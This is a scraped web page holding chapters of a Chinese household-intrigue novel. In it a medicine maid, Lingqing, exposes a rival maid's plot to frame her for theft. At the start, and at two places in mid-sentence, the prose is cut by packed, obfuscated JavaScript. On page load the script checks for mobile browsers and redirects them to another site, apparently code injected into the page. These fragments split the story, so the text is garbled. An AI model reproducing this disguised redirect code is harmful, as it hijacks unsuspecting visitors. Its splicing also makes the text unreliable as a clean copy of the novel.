35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956621|177626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陆沁执着一支紫毫,在素娟上细细勾勒一朵并蒂莲。 她身旁的贴身丫鬟渚碧撇了撇嘴;“小姐,您至于吗,这三小姐都这样对您,您还亲手给她作画!” 陆沁手上动作不停:“我虽说要将那套鎏金花树孔雀纹头面送给三妹当生辰礼,但毕竟只是俗物,还是再加上一幅画,才能表示我对三妹的重视。” “小姐!”渚碧跺了跺脚:“那套头面何其珍贵,您就送给她!您忘了您生辰的时候她送了什么吗!” 陆沁手腕一顿,笔尖在莲蕊处晕开一点红:“她终究是嫡亲的妹妹。”她搁下笔:“好了,就这么定了,你也别再说了。” 这时,帘外传来细碎的脚步声。贴身丫鬟谷翠端着药进来:“小姐,该喝药了。” 陆沁只是看着那药,就已经嘴里难受了。她轻叹了声气:“先放那吧。” 谷翠打趣道:“小姐总是这样,从小就怕苦。可老夫人叮嘱了,一定要监督小姐立即喝喝下去,小姐忍忍吧。” 陆沁想偷偷倒掉的心思被揭穿,无奈,只能端起药碗,视死如归的喝了下去。 一碗药下去,她皱着眉将药碗从唇边移开,舌尖轻轻抵着上颚。奇怪,预期的苦涩竟淡了一大半。 她疑惑地望向谷翠:“这药………好像没前几日那么苦了。” “可是……小姐这几日并未去看过府医,府医怎么会改药方呢?” “定是那当子下人偷工减料!”一旁的渚碧柳眉倒竖:“竟敢对汤药如此不用心!”说着她就要往外冲。 “我去问问吧。”谷翠拦下她,自己出去了。 刚出来,门外就跪着一个人,脊背挺得笔直,是个生面孔,长得很是俊俏,带着股清冷的劲。 “奴婢凌青,是茶药间的煎药丫鬟。”这少女低声道。 “就是你?你可知今日的药………” “奴婢知道。特意来和小姐解释,求姐姐行个方便。”凌青抬起头,认真地看着谷翠。 谷翠对这个少女感觉不错,可能是她气质比较特别,看着像是聪明的。她思索了一下,点点头:“跟我进来吧。” 凌青低着头,跟着走进去。刚一进去,鼻尖就萦绕着淡淡香气,好闻极了。但她始终垂着头,盯着地面。 “你是祖母赐给我的那个丫鬟,叫凌青,是不是?” 一道温柔的声音从上方响起,凌青缓缓抬眼,正对上陆沁带着笑意的眼睛。 她浅笑时,眼角眉梢尽是春水般的柔意,只是坐在那里,就给人一种如沐春风的感觉。 凌青愣了一愣:“小姐记得我?” “自然记得。”陆沁轻声道:“你聪明又沉稳,给我的印象很深。” “聪明什么啊,煎个药都缺斤少两的。”一旁的渚碧不屑道。 陆沁被自己的丫鬟反驳,却没有丝毫动怒,还是好脾气地笑道:“肯定有缘由,凌青,为何今日的药没有那么苦了?” 看来这陆二小姐是真脾气好,把自己的贴身丫鬟宠成这样。不知道的都分不清谁是主子谁是下人。 凌青双手奉上自己昨夜做的香囊,在陆沁疑惑的眼神中,解释道:“回小姐。这是奴婢做的药包。奴婢听说小姐怕苦,于是想着让汤药不那么苦。可汤药不苦就得减轻药量,药量减轻又对小姐身体无益,奴婢就想到之前有人将药材配上茶叶挂在帐中,药气缓释,比汤剂更温和。有了这药包,汤药的药量自然可以减少。” 满堂寂静了一瞬,紧接着渚碧不满道:“什么道听途说的方子,你就敢私自用!” 谷翠连忙拉了一下渚碧,渚碧却依然不依不饶:“这分明是置小姐的安危于不顾!” 凌青不理她,只看着陆沁:“回小姐,奴婢已经去问过府医了,府医已经验看过,说确实可行。” 陆沁接过香囊,细细地闻了闻,有些惊喜:“是有药香,只是混合了茶香后,不刺鼻了,很好闻呢。”说着又摩挲了一下香囊上的绣纹:“好精巧。” 凌青知道,陆沁这幅表现,估计就是真喜欢了。看来她昨日辛苦,果然没白费。 “不是奴婢一人的功劳,草药是茶药间的孙嬷嬷帮着找的,香囊是煎茶的丫鬟红袖绣的。奴婢们都想为小姐解了烦恼。” 茶药间的下人都提了一遍,单独没有那位管事丫鬟碧桃。就让二小姐自己品去吧。 陆沁将香囊交给渚碧:“去挂在我的床头。”说完又转向谷翠:“那就将孙嬷嬷和红袖也叫进来吧。” 孙嬷嬷和红袖很快就被唤了过来。两个人显然是知道发生了什么事,脸上都带着喜色,看向凌青的目光全是感激。 红袖谨记着凌青昨日嘱咐她的,虽然紧张的要命,但她还是结结巴巴的说了:“回小姐。这事都是凌青姐姐的主意。凌青姐姐自被老夫人指过来,就时刻谨记着小姐的身体。她每夜都晚睡,记录当日的用了多少药,和这些药材的忌讳………” 说着,红袖就掏出两个小册子,双手颤巍巍地捧到陆沁跟前。 陆沁接过册子,翻开一看,更是讶异。 先不说那条条记录的用药禁忌、膳食相克表、药量记录。光是那字体就引人注目,并不是寻常的簪花小楷,而是像颜体一般,有着浑厚大气之姿,又融合了欧楷险绝的风格,锋芒直露,傲骨凛然。 她父亲是翰林学士,所以她自小耳濡目染,尤其爱字爱画,更爱有风骨的作品。这些年她遍览翰林珍品,也没见过太多名家风骨,却从想过今日能在自己院中丫鬟这里看到,瞬间有一种发现璞玉的感觉。 陆沁不由看向这个看似文静内敛的少女,她一直相信字由心生,却不想这柔弱少女内心是如此倔强刚劲。 她忽然就对这少女多了几分好奇心。 发现陆沁看的入迷,渚碧不满地撇嘴:“就会做些表面功夫……” “住口。”陆沁罕见地呵斥,指尖抚过一页被反复修改过的记录,“你看这批注,来回改了好几次,一看就是查医书细细思索所得。” 她抬头看向凌青,眼神泛起些涟漪。她招了招手,示意谷翠拿来妆奁。 从妆奁中取出了三枚银锞子,陆沁温柔道:“孙嬷嬷稳重,红袖手巧。凌青………”她顿了顿,看向那少女:“用心了。” 凌青抬起头,再一次对视上陆沁的眼神,陆沁对她展颜一笑。 她沉默地低下头,避开了那眼神。 6. 槐香 碧桃得知茶药间的人都得了赏赐,就她没有时,发了好大一顿脾气。 “好,好得很!”她咬着牙冷笑,脸上青一块白一块的:“背着我去讨好主子,一个个都不安分!” 这一幕恰巧被红袖偷偷看了个真切,她立即兴冲冲地描述给凌青听:“你是不知道她那个脸色!就从来没有这么难看过,看得我可乐呵了。” 凌青闻言,微微一顿:“她一贯擅长溜须拍马,这次却被我们赶在前头,还一下子直接拍到主子的心坎上。她现在正难受着呢。” “活该!”红袖掀开袖子,指着胳膊上的旧伤疤:“就冲她之前动不动就拿我撒气,她活该倒霉!” 凌青却完全没有她那么情绪激动,反而若有所思:“但以碧桃的心性,她这次气狠了,不可能什么都不做。” 红袖瞪大眼睛:“你的意思是………” “她一定会找机会报复,所以这几天,一定要打起精神来。” 红袖对凌青的说法将信将疑,但果然接下来的几天,碧桃的行为变得诡异起来。 她开始有意无意地与凌青搭话。但因为两个人之前撕破脸的太彻底,她这种冰释前嫌,刻意接近的行为就显得更加古怪。 她今日又拿来一些吃食,说是老家捎来的。分给红袖和孙嬷嬷后,她特意走到凌青跟前。 “凌青妹妹,尝尝我老家自己做的吃食。”碧桃将油纸包往凌青怀里塞,脸上带着甜的腻人的笑容。 凌青瞥了一眼,委婉拒绝了:“我脾胃弱,先不吃了,谢谢你的好意。” 碧桃举着的手僵在空中,脸上的笑容扭曲了一瞬,却又强装委屈:“凌青妹妹,你可还是在怪我之前针对你的事?我说了,那些事都过去了,我现在也想咱们之间和和睦睦的。” 凌青内心冷笑一声。 你说过去就过去了?瘸子好了你知道送拐了,现在害了人了你知道忏悔了?以后碧桃的话纯当狗叫就行。 但鄙夷归鄙夷,伸手不打笑脸人,凌青也只是说:“碧桃姐姐想多了,那些事我都忘了。我们以后各自做好自己的事就好。” 可惜凌青表现的再客套生疏,也阻止不了碧桃那犹如抢劫一般的热情。 凌青煎药时,碧桃在旁边死死的盯着看。 凌青写药材记录时,碧桃在旁边不住地夸她的字。 凌青毫不怀疑如果她此时如个厕,碧桃都能直接冲进来,夸她出恭出的好。 凌青再也忍不了了,她想“谋权篡位”,顶替碧桃管事之职的决心,在此刻达到了顶峰。 又一日,凌青俯身清洗药材时,一缕碎发垂落在脸颊边,挡着视线,她没手拂开,只能唤红袖:“红袖,帮我拂一下头发。” 一只纤长的手突然闯入视线,替她拂开。碧桃笑吟吟地看着她:“凌青妹妹,以后有事唤我就好。” 凌青处变不惊的脸上第一次带了些裂痕,因为这和见鬼没什么区别。她微微一滞:“…………不用了,谢谢。” “没关系的,我看你这几日特别辛苦,就想帮你干点活,让你松快松快,要不今日你回去休息,我替你煎药。” 她这话音刚落,凌青瞳孔一缩,瞬间心底如明镜。她终于知道碧桃这些日子装孙子是为了什么,就是为了自然而然铺垫出这句话。 这些天她一直严防死守,整理药材煎药时寸步不离,生怕有人背后做手脚。 她负责煎药之职,若是有人在药里放了什么不该放的,那她必会受到重责。 碧桃这心思真是昭然若揭,若自己真傻的让她帮忙煎药,那就是把鸡放在黄鼠狼手里,想不出事都难。 所以凌青直接拒绝:“不用了,我自己来就好。交给别人做我不放心。” 这话已经说的够直白够难听了,碧桃也终于装不下去了,那脸色瞬间沉了下来,眼神也变的阴狠无比。 “凌青,”她阴测测地笑了笑:“你就这么看不起我?” “什么?” “你且等着,你躲得了初一躲不过十五。” “…………” 凌青莫名的看着她离去的背影,内心丝毫没有被威胁到的恐惧。 真是好坦荡的发言啊。 这不是恨不得告诉全天下,她要搞事了吗。 难道碧桃以为她凌青会满怀恐惧的待在这,像个手无缚鸡之力的小鸡崽子一样,坐以待毙,等着她来陷害? 没意思,真是没意思。跟这样的人斗来斗去,会让她有一种小孩儿过家家的感觉,斗都斗的没什么成就感。 红袖凑过来:“碧桃又来讨好你啦?” “不,”凌青无语道:“是来下战书。” —- 红袖急匆匆地从外面跑回来,看着凌青就想说些什么。但此时还未到歇息时刻,屋内的几个洒扫丫鬟正围着蜡烛聊天,说笑声一阵阵的。 红袖强装镇定地放慢脚步,慢慢靠到正在看书的凌青身边:“凌青姐姐……” 凌青一看她这副神态,立即放下手中的书,低声道:“是不是碧桃那有动静了?” 红袖轻轻点了点头,附在凌青耳边小声道:“是……我看见她去了库房,拿了不少药材出来,也不知道哪来的钥匙。现在她又往月露榭的后门去了………” 红袖三言两语之间,凌青立即想明白了碧桃要做什么。 “真是该死啊………”凌青自言自语道。 “姐姐,她这是要做什么?” 如果她没猜错,碧桃是想陷害她偷药私自倒卖的罪名。库房药材被卖出府,管库房的孙嬷嬷自然难辞其咎,到时候再引出与孙嬷嬷关系不错的她,那一切就顺理成章。 那大家都会觉得,她与孙嬷嬷是共犯,监守自盗。 碧桃对付她当然没问题,毕竟她一次次让碧桃吃瘪,两个人已经到了不死不休的地步。但若为了陷害她,拖无辜的孙嬷嬷下手,实在是有些太不道德了。 凌青倏然起身,没惊动旁人,只低声对红袖道:“你回去,别让人起疑。” —- 夜色沉沉,凌青贴着墙,悄悄跟在碧桃身后。 月露榭后门是锁着的,中间还有颗大槐树,这槐树已有百年树龄,枝干虬结如鬼爪。又因为槐树主阴,所以向来没有什么人敢来这个地方,这里便自然而然长满了荒草。 只是此时正值花期,雪白的槐花簌簌而落,倒给这阴冷之地添了几分诡艳。 荒草后面掩着一个墙洞,碧桃就蹲在那墙洞边上,用手里的铲子挖土。 平日里素日不干什么人活的碧桃,为了对付她,竟然还挖上土了。可见,人想干坏事的时候,总是不嫌累。 凌青冷眼看着,看到碧桃挖好洞,从怀里拿出了什么东西,塞到洞中,再用土掩上,才鬼鬼祟祟地溜走。 她看了一眼,瞬间明白碧桃是想干什么了。 不愧是没脑子的人想出来的的招数,简单却却很有效。等明日挖出药,再找个证人咬死了凌青,那任她怎么解释也没用。 待碧桃彻底走后,凌青才从墙后转出,来到刚才碧桃挖洞的地方,重新用手扒开。 打开洞里的包袱,里面装的果然是数量不少的药材。 正当她在想下一步该如何做时,忽然听到身后有踩着枯草的碎响声。夜风略过耳畔,带起一缕微凉的香气。 有人来了! 凌青抱着包袱刚想找地方躲,就听见一道声音。 “掘墙根,可不是淑女所为。” 带笑的声音,是低沉的,但又带着少年人的清润,就这么撞进凌青的耳畔。 她急急转身,借着月光看清来人的面容。这是一个十八九岁的少年,面若好女,五官精致明艳如工笔勾勒。尤其是那一双潋滟桃花眼,眼尾微挑,似有眉眼生春的风情。他乌发披散肩头,束起一小缕辫成了辫子,垂在胸前。 任是凌青从来不在乎外貌,也看愣了一瞬,只因这少年长得实在是妖孽。 这个人的出现,再配着这阴气森森的大槐树,更是说不出的诡异。 凌青开始在脑海中迅速回想,陆府哪个人能与他对上,难道这是白姨娘的儿子陆长卿?可是和白姨娘半分也不像啊。 而且,这是二小姐陆沁的月露榭,一个外男出现在这,本来就奇怪。 思索了一瞬,她还是决定谨慎应答。 “奴婢只是在找帕子。”她不动声色地将挖出来的药包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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凌青没说话,还在思索他的身份。那少年却又可怜兮兮地看向她:“姐姐,你别跟别人说,我走就是了。” 他眼尾泛起薄红,在月光映衬下,那容貌更是勾魂摄魄了。 怎么还叫上自己姐姐了,这人可瞧着比她年长!装什么嫩卖什么乖,当真是厚颜无耻。 “那公子就请先离开吧。”她丝毫没有被美色蛊惑,依旧冷淡道:“我再找会儿帕子。” 少年眨眨眼,缓慢地向后退了半步,似乎要走。 凌青紧紧盯着他,自己身后拿着药的手已经有些酸痛,她急切想等这少年走后把药包放下。 谁知这少年退了半步,却又仰头望向槐树冠。月光顺着他的脖颈滑落,在喉结处凝成一点光斑,他又开始盯着槐树出神。 凌青顿时心内燃起一股无名火,心想道:“有完没完,莫不是长得好看,想一直在这显摆给我看,真是大可不必了,就算你是天仙,也不能杵在这耽误我宝贵的时间。” 这少年看了半晌,忽然开口道:“我听说,槐花是可以用药的。煎汤服用,可治目赤肿疼,可人人对槐树避之不及,这般好的药材,却总无人知晓。” “…………”凌青等了半天,没等到他下一句话,她无语了:“所以呢?” “所以,”少年转头看向她:“药材是要好好保管的,可别浪费了。” 这些话牛头不对马嘴,跟说梦话似的。但凌青却忽然僵住了。 她藏在背后攥着药材的手泛起了冷汗,因为她不知道这人要做什么,他又是如何看到坑里的药材的。若是没看到药材,他为何无缘无故说这些话。 所以,他就是看到了自己跟踪碧桃。若他将这事说出去,她的计划就全部被打乱了。 少年却好像完全没注意到凌青的僵硬,只是露齿一笑,笑容明媚:“姐姐,走之前给你个礼物,想不想要?” 凌青一脸谨慎地看着他:“不想。” 少年夸张地捂着心口,踉跄一步,一脸被打击的样子,委屈至极:“你好冷酷啊,太伤我的心了。不过………”他忽然狡黠一笑:“我偏要送。” 话音未落,只见少年广袖一扬,霎时满树银白纷扬如暴雪,这满捧槐花劈头盖脸洒下。 凌青抬手遮挡扑面而来的槐花,周边全都是甜腻的槐花香味。 这万千槐花似一簇簇雪浪,轻打在她的身上,遮住她的视线。 待她终于拂开眼前花雪时,刚才的地方却已空无一人。 7. 做局 药炉上的青烟正袅袅升起,砂锅里的药汤咕嘟地沸腾着,凌青坐在药灶前,握着竹扇煽火。 “姐姐,你怎么一点都不急,你也不告诉我,碧桃昨夜都干什么了。”红袖急得跺脚,她今早看着碧桃一脸喜色,分明是干了坏事得逞的表情。可凌青平时一向雷厉风行,这时候反而开始不急不躁了。 皇帝不急太监急,她都快愁死了。 凌青仍然在轻轻拨弄炉火,火光映在她毫无波澜的眸子里。 “你不用着急,”她沉声:“一切我都有数,你相信我。” 虽然红袖天真善良,也帮了她不少,但她不会全心意的相信红袖。没有其他原因,只是她觉得事情未解决之前,多告诉一个人就是多一分风险,只有捂在自己肚子里,才是万无一失。 现在想想,自父亲去世,姐姐失踪,这个世上,恐怕再也无她可信任之人。 正想着,茶药间的门忽然“砰”地被推开。 站在门口的竟是陆沁身边的渚碧,她拉着一张脸,一脸鄙夷地看向凌青,冷声道:“小姐传你们。” 凌青看到她,面色却丝毫没变,似乎早就预料到了。 “好的,我们现在就去。红袖,你先帮我把小姐的药盛出来。” 红袖刚刚被渚碧吓了一跳,但还是壮起胆子,小心翼翼地问道:“那个......渚碧姐姐,我能不能问一下.......小姐叫我们过去什么事啊?” “什么事,你们自己知道!”渚碧厉声道。 红袖吓得一哆嗦,不敢再说话了。 凌青淡定地跟着渚碧来到月露榭正屋前的院子。 陆沁和陶嬷嬷站在屋檐下。碧桃正跪在青石板上低着头,但听到脚步声,她悄悄抬起头,看着凌青露出一个极其得意的笑容。 凌青看都没看她一眼,径直走过去,行了个礼,然后跪在一旁。 陆沁看着心情不是很好,脸比往日更无气色一些,神色恹恹。她指了一下碧桃:“你把刚才说的话再重复一遍。” 碧桃重重叩首,抬起头来已是泪眼涟涟:“回禀小姐,奴婢今日从西角门值夜家丁阿贵那里得知,昨夜有个小丫鬟鬼鬼祟祟去了月露榭后门那里,在墙洞那埋了东西。阿贵觉得奇怪,就在那等着,只见子时有人从墙外伸进手,想要拿洞里的东西。阿贵想要抓住那贼人,却被他跑了。阿贵挖开坑里一看,发现是一包药材,就告诉了奴婢。奴婢过去一瞧,发现是茶药间留存的药材。竟有人与府外之人里应外合,将茶药间的药材倒卖出去!这一切都是奴婢看管不严的错!”说完她连连磕头,那叫一个情真意切。 倒卖药材,按照本朝律法,已是窃盗之罪,极其严重,赶出府都是轻的。 陶嬷嬷与陆沁对视一眼,吩咐底下的丫鬟道:“把阿贵叫过来。” 凌青仍然默不作声地跪着,脊背挺得笔直,好像什么都不知道一样。 她当然不慌,毕竟到目前为止,事情的发展都在按着她之前想的来,丝毫不差。只要等一会儿......... 就在此时,身后传来脚步声,她知道是家丁阿贵来了,正想听那阿贵怎么说,却不想只听见那些小丫鬟们忽然变得躁动起来,接着就是一阵阵抽气和窃语。 嗯?这阿贵长的这么特别吗,怎么他一过来,气氛都不一样了。 她刚想转头看看,就听见一道略有些熟悉的声音。 “这怎么这么热闹,阿姐,你不介意我过来瞧瞧吧?” 比起昨天夜里的声音,似乎更加低沉悦耳了,带着漫不经心的几分笑意,却让凌青扭头的动作僵住。 这声音………不会吧?怎么那么像昨天那个说话很嗲的自恋狂? 陆沁见了他,恹恹的样子略舒展了一些:“楚之?我还以为你回去了。” “昨天夜里来拜访陆伯父,留宿一晚,本来今早起来是想回去的。可是想到好久都没见阿姐了,我就过来瞧瞧。”那声音像是浸了蜜似的,带着撒娇的意味。 “你啊.......都多大了,还和小时候一样。男女有防,你别动不动就私闯进来。” “这有什么关系,咱们自小长大,你又与我表哥订了亲,就是我的嫂子,跟一家人没什么区别啊。”他似乎是被陆沁瞪了一眼,又带着委屈劲儿补充道:“好吧,是我鲁莽了,我听阿姐的。” 说完,他便走过来,经过凌青身边,那双玄色织金靴子扫过凌青的衣衫,他脚步未顿,走到陆沁那里。 凌青非常轻微地抬了下头,悄悄看了看那少年。 还是那张足以颠倒众生的脸,因现在是白日,看的更加清晰了。她不得不承认,这比女子还要昳丽的面容真是哪哪都长得恰当好处。 今日他穿了一件淡黄色的衣衫,把那少年意气风发的劲儿更是显得淋漓尽致,称得上一句鲜衣怒马少年郎。 可惜长得再好,人不正经,都白瞎。 “院里出盗窃之事了?我刚才在外面听了一点。”这叫楚之的少年侧头陆沁与说话,似乎没觉察到凌青的眼神。 凌青偷偷观察着他的神色。她在回忆,昨晚她站的方位,从那少年的角度看应当是看不清脸的,所以估计没被这人彻底看清面貌,所以这人现在还没认出她。 最好一辈子都别认出她。 她正观察着,忽然那少年转过头来,目光直直的往下看,没有丝毫犹豫地落到凌青眼中。 凌青连忙低下头。 “呵.........” 只听一声极轻的笑声,带着几分戏谑,像羽毛一样拂过耳畔。 凌青:“………” 很好,他竟然认出来了。认出来就罢了,还在这故意戏弄她。 凌青默不作声地低垂下眼睫,开始盘算目前局面。 昨夜她跟踪碧桃时,正巧被这人撞见。但这人深夜出现在自己准嫂子的院子中,太不合规矩,若他揭露她,自己也会暴露,实在是百害无一利。所以,这人应当不会多事才对。 只是,凌青看着他那双似笑非笑的桃花眼,总是有些不安。 这时,一个瘦小的年轻男子战战兢兢地走了过来。 “小的阿贵,见过二小姐。” 陆沁看向他,缓缓道:“你将昨晚看到的讲一遍。” 阿贵清了清嗓子,把昨晚看到的讲了一遍,大体内容与碧桃说的大差不差。 待他说完,陶嬷嬷忍不住问道:“那你可看清那女子的面容?” 阿贵支支吾吾道:“这.......”他偷偷瞥向碧桃的方向,似乎与碧桃对视了一眼,转而迅速看向凌青:“小的不认得那位姑娘,但看清了她的面貌,今日见着她一眼就认出来了,就是她!” 众人循着他指的方向,目光聚集到凌青身上。 陆沁似乎有些震惊,而那个少年,眼中笑意更盛,带着几分看热闹的兴奋头。 凌青似乎根本不在意目光和议论声,仍然面色平静,只是抬起头来,看着阿贵问道:“你确定看清的是我?” 阿贵被她这一问,有些心虚,但还是硬着头皮道:“当然看清了!就是你!” 碧桃在旁边装作惊讶,一副痛心疾首的样子:“凌青妹妹,真的是你干的这种事?小姐前不久还嘉奖了你,你怎能如此背叛小姐!” 凌青不理她,只是死盯着阿贵:“你是说,你昨晚看到我在后院墙洞处蹲着埋药?” “没,没错!” 凌青点了点头:“这样。”忽然,她清冷的声音闪过一丝锐利:“不巧,我还真偶然路过过后院,你告诉我,后院墙洞朝向哪边?” 阿贵一愣:“朝,朝北...…” “昨夜月相如何?” “是...…是上弦月..…” 凌青嘴角终于有了一丝淡淡的冷笑:“很好。昨夜上弦月挂在西南方,而这墙洞朝北,你站在南边观望,墙洞完全背光。我想知道,在那样的光线下,你是如何能看清一个背对着你、又在阴影中的人的面容?” 此言一出,阿贵顿时面色大变,支支吾吾说不出话来。 陆沁也愣了愣,与旁边少年对视一眼:“凌青说的有道理。” 那个叫楚之的少年饶有兴致地看着下面的人,轻笑道:“是有道理。不过,凌青姑娘气质这么特别,只要见过一眼都会对之念念不忘,也许阿贵就是记住她的背影了?” 凌青有些不可置信地抬起头,正对上逄楚之的眼睛。逄楚之忽然飞快地冲她眨了一下左眼,眼尾弯出一个小弧度。 凌青:? 这人怎么这么贱。 她真的有点生气了,她虽然不怕这人添乱诋毁,但好歹他俩也算是互相握着对方的把柄吧,他凭什么这么明目张胆的挑衅?针对自己又对他有什么好处? 凌青心中暗自咬牙,决心不再看这个人一眼。她深吸了一口气,让自己平静下来。 阿贵却得到了提醒,连忙大声道:“我,我是看错了人脸,但是那个背影,那个气质,就是这位姑娘!我认得出来!” 碧桃似乎也觉得有人给他们撑腰,在旁边接话:“二小姐明鉴,库房钥匙向来由孙嬷嬷保管。而凌青这丫头平日里就和孙嬷嬷交好,两人必定是串通一气偷药卖药!"说完,她又装模作样转头:“凌青,不是我不顾及姐妹之情,实在是你太过品行低劣!我只能实话实说。” 最后面的孙嬷嬷听了这话,已顾不得上面的主子,直接冲过来,上去就想撕扯碧桃:“你这小贱蹄子,胡说八道什么!想偷药卖药的分明是你自己!我在陆府十几年,最是知道该干什么不该干什么!哪容得着你诋毁我和凌青!” 凌青静静听着,心中已经有了完全的对策。她早就想好了该怎么做,与其在这里据理力争,不如先任由碧桃使劲诋毁,她再卖卖惨,让陆沁对她产生愧疚,这样才能在拉碧桃下马的同时,取代碧桃管事的位置。 于是她不再反驳,任由碧桃疯狂的泼脏水。 “凌青姐姐不是那样的人!”红袖也小声的为她辩护,“碧桃姐姐,你不能这样冤枉人!” 碧桃冷笑:“红袖,你跟凌青平日里交好,自然向着她说话。但事实摆在眼前,由不得你们狡辩!” 陆沁看向凌青,温声问道":“凌青,碧桃说的可是真的?” 凌青不回答,只是看着陆沁,轻声道:“二小姐,您身子不好,每日要为院子里的事操心,今日又因我和碧桃费心费力,我实在不愿意再让小姐为难。”她垂着头,一副委屈至极的模样:"既然人证物证都有,奴婢没有什么好说的。既然碧桃说是,那就是吧,只是和孙嬷嬷无关。” 孙嬷嬷一听这话,放开撕扯碧桃的手,急得叫道:“你这丫头认了做什么!你可是一向聪明冷静,怎么这时候糊涂了!” 一旁的红袖也瞪大了眼睛,不敢置信地看着凌青。在她眼里,凌青一向是清冷倔强的。她看着柔柔弱弱,似乎挺会来事,但其实内心是有傲骨的,绝不可能轻易低头。况且凌青一向不打没准备的仗,近些天她们一直盯着碧桃,掌握了不少证据,怎么可能直接认输? 陆沁见状,心中更是不忍,她上前几步,轻声:“凌青,你不必担心我,只管实话实说。” 凌青抬眸,面上一副为难的样子,心中却在计算时机。 时机差不多了,委屈的一面展现了,接下来就该展现自己能干的一面了。 要不怎么能让陆沁放心把管事位置给她呢? 她犹豫片刻,站起身:“既然二小姐这般说,那就麻烦大家随我去后院墙根处看看吧。既然不是我干的,那一定能从中发现蛛丝马迹。” 众人面面相觑,显然是不觉得她能发现什么,但还是跟着她来到了后院。 碧桃跟在后面,发出一声只有她俩能听到的耻笑,显然是势在必得,不相信凌青能翻身。 凌青走到墙洞处,蹲下来看着那个被挖出药材的坑,若有所思。 碧桃冷笑道:“不要耽误二小姐的时间了,一个坑你能看出什么?都有人证在了,你狡辩不了。” 凌青仍然目不转睛地看着那土坑,在大家都快没耐心时,忽然道:“这坑里的泥土是新翻过的。” 大家都有些莫名。 陆沁示意了一下陶嬷嬷,陶嬷嬷点点头,走了过去,蹲下身查看:“这个地方的土质确实不同。” 凌青用手指捻起一小点土壤:“阿贵刚才说他昨夜就看见有人埋东西,当即挖了出来。但大家看,这泥土明明是晨露未干的新土,分明是今日清晨才被挖掘的。”她抬头看向阿贵,“若真是昨夜挖出,经过一夜时间,土壤岂能还如此湿润新鲜?” “所以,”她将手里的泥土拍落掉:“阿贵证词,并不可信。” 碧桃怔住了,显然是没想到这个地方有问题,但还是强装气势:“这,这也许是他记错了时间,但你又怎么证明不是你干的!” 凌青听了这话,内心更是冷笑,对碧桃的更加反感。 谁规定的,被诋毁就要自证? 她现在已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956623|177626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经证明阿贵的话是假的了,难道还要继续努力的自证清白,始终处于被动?那她也太好欺负了。 她看着碧桃:“我为何要证明我没干过,那我还说是你干的,你有证据证明你没干吗?” 碧桃气极:“你………” 那个美貌少年似乎笑了一声,慢悠悠道:“阿姐,两位姑娘都说自己没做过,这可怎么办,都给我看晕乎了。” 凌青对碧桃冷声道:“既然你也证明不了,那我来帮你证明。” 说完,她指着坑周围一些杂乱脚印:“坑最近的脚印大概就是挖坑人的脚印,从脚印大小和深浅来看,此人不重,脚也不大,应当是个纤弱女子,这点我和碧桃倒是都符合。” “但是,”她蹲下身指着土地:“挖坑的人在这里站立时,左脚明显比右脚用力更重,泥土被压得更深。而且左脚印周围有明显的踉跄痕迹,说明此人左脚有伤,走路时会不自觉地多用右脚支撑。” 她指着左脚印旁边一些细碎的泥土痕迹,“这里有明显的停顿和调整痕迹,说明挖坑时这只脚让她很不舒服,需要时常换姿势。” 她缓缓站起身,目光看向碧桃:“你前几日崴了左脚,至今走路还有些不便,这事还是我………” 我亲自促成的。 碧桃脸色一白:“你,你胡说什么!” 孙嬷嬷恍然大悟:“对了!前几日碧桃故意撞了我一下,当时我还觉得奇怪,她平日里走路稳当的很,怎么会突然撞人。想必就是那时候偷了我的钥匙,悄悄配了一把!” “我没有!我没有!”碧桃已经彻底慌了,尖声大喊。 “那,那也许是别人配的钥匙!”她又慌乱的补充。 “哦?”凌青也没放过她,逼问道:“那你又如何解释这些脚印?左脚受伤的人留下的痕迹,与你的伤势如此相符,难道这也是巧合不成?” 碧桃一时语塞,脸色青一阵白一阵。 凌青步步紧逼:“你昨日确实来过这后院墙根,亲手埋下了药包。然后今早再挖出来陷害我………” “不是我!是阿贵挖的.…....”碧桃话到一半突然住口,脸色惨白如纸。 陆沁脸色铁青,气得说不出话。陶嬷嬷扶着她怒声道:“碧桃!你竟敢如此在院子里兴风作浪,还敢糊弄小姐。来人,将她赶出府去!” 碧桃扑通一声跪在地上,哭得梨花带雨:“小姐饶命!小姐饶命!我也是一时糊涂啊!” 但陆沁心意已决,挥手让人将碧桃拖走。碧桃的哭声渐渐远去,直到彻底消失在府门外。 凌青看着碧桃的身影,内心说爽倒也没有,只是有几分唏嘘。 不是她忽然怜惜起碧桃,只是她觉得身处宅院之中,无论是主子还是下人,永远有纷乱不休的争斗,斗到最后,总会有人惨败出场。 而赢了的人,其实也得不到什么。到最后不还是局限在这宅院之中。 就像她也本不在乎什么管事位置,若不是为了一步步向上爬,调查姐姐真相,她怎会产生这念头。 她虽坚定了要向上爬的意愿,但难免不会想到自己有没有一日也成为如碧桃这样的手下败将。 算了,想这么多也没用,还是享受自己当下的胜利成果吧。 陶嬷嬷这时开口道:“小姐,碧桃身为茶药间管事,却监守自盗,府中药材账目恐怕也需重新清点。如今既然她已离府,茶药间不可一日无人管理。” 陆沁身边的谷翠搬了凳子过来,扶着陆沁坐下,陆沁神色已好了一些。 她目光扫过众人,最终停在凌青身上。 